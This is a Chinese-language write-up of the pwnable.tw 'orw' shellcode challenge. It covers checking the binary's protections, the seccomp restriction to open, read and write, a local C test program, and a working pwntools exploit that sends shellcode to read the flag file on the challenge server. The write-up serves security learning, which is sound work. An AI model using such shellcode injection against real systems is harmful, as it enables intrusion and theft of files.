题目地址:https://pwnable.tw/challenge/#2
Only open read write syscall are allowed to use.
检查保护
➜ file orw
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
➜ checksec orw
[*] '/Users/wangyuxuan/Desktop/pwnable/orw/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
是一个32位的elf,动态链接,没有去符号表,除了栈不可执行没有开启其他保护,而且有读写可执行段。用IDA看一下主函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
发现shellcode是一个函数指针,对应的地址在bss段中,写完shellcode就可以直接执行了,但是根据题目的提示,shellcode中如果使用系统调用只能用open,write,read三个系统调用,那这个是怎么限制的呢?
seccomp沙箱
猜测跟orw_seccomp函数有关,点进去如下:
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]
char *v2; // [esp+8h] [ebp-80h]
char v3; // [esp+Ch] [ebp-7Ch]
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
看到prctl这个函数,应该全名是process control(进程控制),猜测可能跟这个有关,参考链接:
总之就是通过这种方法限制了程序可以使用的系统调用
利用
本地c代码尝试
因为对系统调用啥的还不是很熟悉,一开始的直觉是,为啥还有用read系统调用。感觉open打开后直接write到标准输出不就完了么。所以先尝试着在本地写一个c程序,只用open,write,read三个系统调用去读一个本地的文件(/flag)。系统调用参数是啥,需要用到什么头文件可以去man手册中查找:
# include <stdio.h>
# include <unistd.h>
# include <fcntl.h>
int main(){
int fd;
char a[100];
fd = open("/flag",0);
read(fd,a,50);
write(1,a,50);
return 0;
}
写完就知道刚才那个疑问的答案了,通过open打开的是一个文件描述符,文件内容还在磁盘中。而write输出到标准输出需要从内存中输出,不能直接对两个文件描述符进行操作(标准输出和flag的文件描述符),所以要先把flag读到内存中,然后在从内存中输出。
exp
这里利用栈上存放了flag位置的字符串,然后随便找了bss段后面作为存储flag的内存位置:
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./orw")
#io = process(myelf.path)
io = remote("chall.pwnable.tw",10001)
shellcode = ""
shellcode += shellcraft.i386.pushstr('/home/orw/flag').rstrip()
shellcode += shellcraft.i386.linux.syscall('SYS_open',"esp", 0).rstrip()
shellcode += shellcraft.i386.linux.syscall('SYS_read',"eax", 0x0804A0D7,40).rstrip()
shellcode += shellcraft.i386.linux.syscall('SYS_write',1, 0x0804A0D7,40).rstrip()
#print shellcode
#print len(asm(shellcode))
io.recv()
io.send(asm(shellcode))
io.interactive()
疑问
在IDA中看到bss段明明是不可执行的:
.bss:0804A040 ; Segment type: Uninitialized
.bss:0804A040 ; Segment permissions: Read/Write
.bss:0804A040 ; Segment alignment '32byte' can not be represented in assembly
而如果通过gdb调试则发现:
gdb-peda$ vmmap
Start End Perm Name
......
0x0804a000 0x0804b000 rwxp /mnt/hgfs/桌面/pwnable/orw/orw
......
暂时还不知道为啥